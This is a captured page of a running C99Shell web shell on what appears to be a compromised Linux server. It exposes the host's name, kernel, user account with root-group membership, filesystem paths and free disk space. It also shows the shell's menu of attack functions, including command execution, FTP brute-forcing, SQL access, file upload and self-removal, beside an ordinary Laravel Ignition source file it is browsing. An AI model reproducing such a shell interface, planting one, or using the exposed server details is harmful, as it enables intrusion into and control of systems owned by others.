!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/facade/ignition/src/Views/Engines/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CompilerEngine.php (3.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Facade\Ignition\Views\Engines;

use 
Exception;
use 
Facade\Ignition\Exceptions\ViewException;
use 
Facade\Ignition\Exceptions\ViewExceptionWithSolution;
use 
Facade\Ignition\Views\Compilers\BladeSourceMapCompiler;
use 
Facade\Ignition\Views\Concerns\CollectsViewExceptions;
use 
Facade\IgnitionContracts\ProvidesSolution;
use 
Illuminate\Filesystem\Filesystem;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Collection;
use 
ReflectionProperty;
use 
Throwable;

class 
CompilerEngine extends \Illuminate\View\Engines\CompilerEngine
{
    use 
CollectsViewExceptions;

    protected 
$currentPath null;

    
/**
     * Get the evaluated contents of the view.
     *
     * @param string $path
     * @param array $data
     *
     * @return string
     */
    
public function get($path, array $data = [])
    {
        
$this->currentPath $path;

        
$this->collectViewData($path$data);

        return 
parent::get($path$data);
    }

    
/**
     * Handle a view exception.
     *
     * @param \Throwable $baseException
     * @param int $obLevel
     *
     * @return void
     *
     * @throws \Throwable
     */
    
protected function handleViewException(Throwable $baseException$obLevel)
    {
        while (
ob_get_level() > $obLevel) {
            
ob_end_clean();
        }

        if (
$baseException instanceof ViewException) {
            throw 
$baseException;
        }

        
$viewExceptionClass ViewException::class;

        if (
$baseException instanceof ProvidesSolution) {
            
$viewExceptionClass ViewExceptionWithSolution::class;
        }

        
$exception = new $viewExceptionClass(
            
$this->getMessage($baseException),
            
0,
            
1,
            
$this->getCompiledViewName($baseException->getFile()),
            
$this->getBladeLineNumber($baseException->getFile(), $baseException->getLine()),
            
$baseException
        
);

        if (
$baseException instanceof ProvidesSolution) {
            
$exception->setSolution($baseException->getSolution());
        }


        
$this->modifyViewsInTrace($exception);

        
$exception->setView($this->getCompiledViewName($baseException->getFile()));
        
$exception->setViewData($this->getCompiledViewData($baseException->getFile()));

        throw 
$exception;
    }

    protected function 
getBladeLineNumber(string $compiledPathint $exceptionLineNumber): int
    
{
        
$viewPath $this->getCompiledViewName($compiledPath);

        if (! 
$viewPath) {
            return 
$exceptionLineNumber;
        }

        
$sourceMapCompiler = new BladeSourceMapCompiler(app(Filesystem::class), 'not-needed');

        return 
$sourceMapCompiler->detectLineNumber($viewPath$exceptionLineNumber);
    }

    protected function 
modifyViewsInTrace(ViewException $exception)
    {
        
$trace Collection::make($exception->getPrevious()->getTrace())
            ->
map(function ($trace) {
                if (
$compiledData $this->findCompiledView(Arr::get($trace'file'''))) {
                    
$trace['file'] = $compiledData['path'];
                    
$trace['line'] = $this->getBladeLineNumber($trace['file'], $trace['line']);
                }

                return 
$trace;
            })->
toArray();

        
$traceProperty = new ReflectionProperty('Exception''trace');
        
$traceProperty->setAccessible(true);
        
$traceProperty->setValue($exception$trace);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--